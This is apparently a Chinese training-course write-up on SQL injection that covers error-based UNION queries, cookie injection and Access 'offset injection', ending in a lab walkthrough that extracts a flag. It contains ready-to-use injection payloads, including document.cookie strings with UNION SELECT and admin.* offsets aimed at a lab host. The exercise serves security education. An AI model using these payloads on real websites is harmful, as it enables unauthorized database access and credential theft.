掌控安全學(xué)習(xí)-Access注入-偏移注入

知識(shí)梳理

  1. SQL注入原理:用戶輸入的數(shù)據(jù)可以被拼接到原有代碼執(zhí)行
  2. SQL注入基本流程:
  • (1). 判斷注入點(diǎn),例:
    數(shù)字型:id=1 and 1=1 頁(yè)面正常id=1 and 1=2頁(yè)面不正常;
    字符型:?jiǎn)坞p引號(hào)、括號(hào)閉合,觀察頁(yè)面是否正常;
    使用sleep()觀察頁(yè)面是否存在延遲;
  • (2)猜解字段數(shù),例:
    and 1=2 order by 1,2,3通過觀察頁(yè)面是否正常來確定字段數(shù)
  • (3)查看顯錯(cuò)點(diǎn)
    and 1=2 union select 1,2,3通過發(fā)現(xiàn)顯錯(cuò)位置可以知道在哪里輸出想要的信息
  • (4)查詢庫(kù)名、表名、字段名、字段內(nèi)容
    可以通過查詢系統(tǒng)自帶庫(kù)information_schema來獲取想要的內(nèi)容。
    -查詢庫(kù)名
    union select 1,2,database()
    -查詢表名
    union select 1,2,table_name from information_schema.tables where table_schema = database()
    -查詢字段名
    union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
    -查詢字段內(nèi)容
    union select 1,column1,column2 from table_name limit 0,1
    group_concat可以將多行數(shù)據(jù)整合到一行輸出
    union select 1,2,group_concat(flag) from TABLE_NAME
  1. Cookie注入原理:
Cookie是一種儲(chǔ)存在用戶本地上的數(shù)據(jù),指某些網(wǎng)站為了辨別用戶身份、進(jìn)行 session 跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)。
后端接收數(shù)據(jù)的時(shí)候同時(shí)接收了GET、POST、Cookie傳入的參數(shù),而檢驗(yàn)方法忽略了對(duì)Cookie數(shù)據(jù)的校驗(yàn)。
Cookie注入常見于老的ASP網(wǎng)站和PHP版本小于5.4以下的版本。
Cookie注入存在于所有數(shù)據(jù)庫(kù)中,Cookie注入核心是傳參方式。
  1. 偏移注入原理:
偏移注入是一種注入姿勢(shì),可以根據(jù)一個(gè)較多字段的表對(duì)一個(gè)少字段的表進(jìn)行偏移注入,一般是聯(lián)合查詢,在頁(yè)面有回顯點(diǎn)的情況下;
當(dāng)你猜到表名無(wú)法猜到字段名的情況下,我們可以使用偏移注入來查詢那張表里面的數(shù)據(jù)。
假設(shè)一個(gè)表有8個(gè)字段,admin表有3個(gè)字段。

聯(lián)合查詢payload:union select 1,2,3,4,5,6,7,8 from admin 

在我們不知道admin有多少字段的情況下可以嘗試payload:union select 1,2,3,4,5,6,7,admin.* from admin,此時(shí)頁(yè)面出錯(cuò)

直到payload:union select 1,2,3,4,5,admin.* from admin時(shí)頁(yè)面返回正常,說明admin表有三個(gè)字段

然后通過移動(dòng)admin.*的位置,就可以回顯不同的數(shù)據(jù)

靶場(chǎng)演示

靶場(chǎng)地址

地址http://59.63.200.79:8004/ProductShow.asp?ID=104
通過document.cookie="ID="+escape("104 and 1=1")判斷頁(yè)面存在cookie住

image
猜測(cè)字段數(shù)

document.cookie="ID="+escape("104 and 1=2 order by 26")頁(yè)面正常判document.cookie="ID="+escape("104 and 1=2 order by 27")頁(yè)面報(bào)錯(cuò)
斷存在26個(gè)字段

image
image
判斷顯錯(cuò)位置

這里是一個(gè)access數(shù)據(jù)庫(kù)并沒有系統(tǒng)自帶的數(shù)據(jù)庫(kù)名和表名,只能猜測(cè)
document.cookie="ID="+escape("104 and exists(select * from admin)")頁(yè)面正常顯示,說明存在admin表
(EXISTS用于檢查子查詢是否至少會(huì)返回一行數(shù)據(jù),該子查詢實(shí)際上并不返回任何數(shù)據(jù),而是返回值True或False)

document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,110000,120000,130000,140000,150000,160000,170000,180000,190000,200000,210000,220000,230000,240000,250000,260000 from admin")

查看網(wǎng)頁(yè)源代碼發(fā)現(xiàn)顯錯(cuò)位置為 3,5,7,25

image
猜測(cè)字段數(shù)

document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,110000,120000,130000,140000,150000,160000,170000,180000,190000,200000,210000,220000,230000,240000,admin.*,260000 from admin")
開始偏移,慢慢刪減字段;
直到document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,admin.* from admin")頁(yè)面顯示正常,說明admin表內(nèi)存在16個(gè)字段,且第16個(gè)字段值為450

image
查詢字段值

通過偏移讓其余字段值在25顯錯(cuò)點(diǎn)顯示
document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,admin.*,260000 from admin")
得到flag zkaq{f0e12dafb6}

image

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容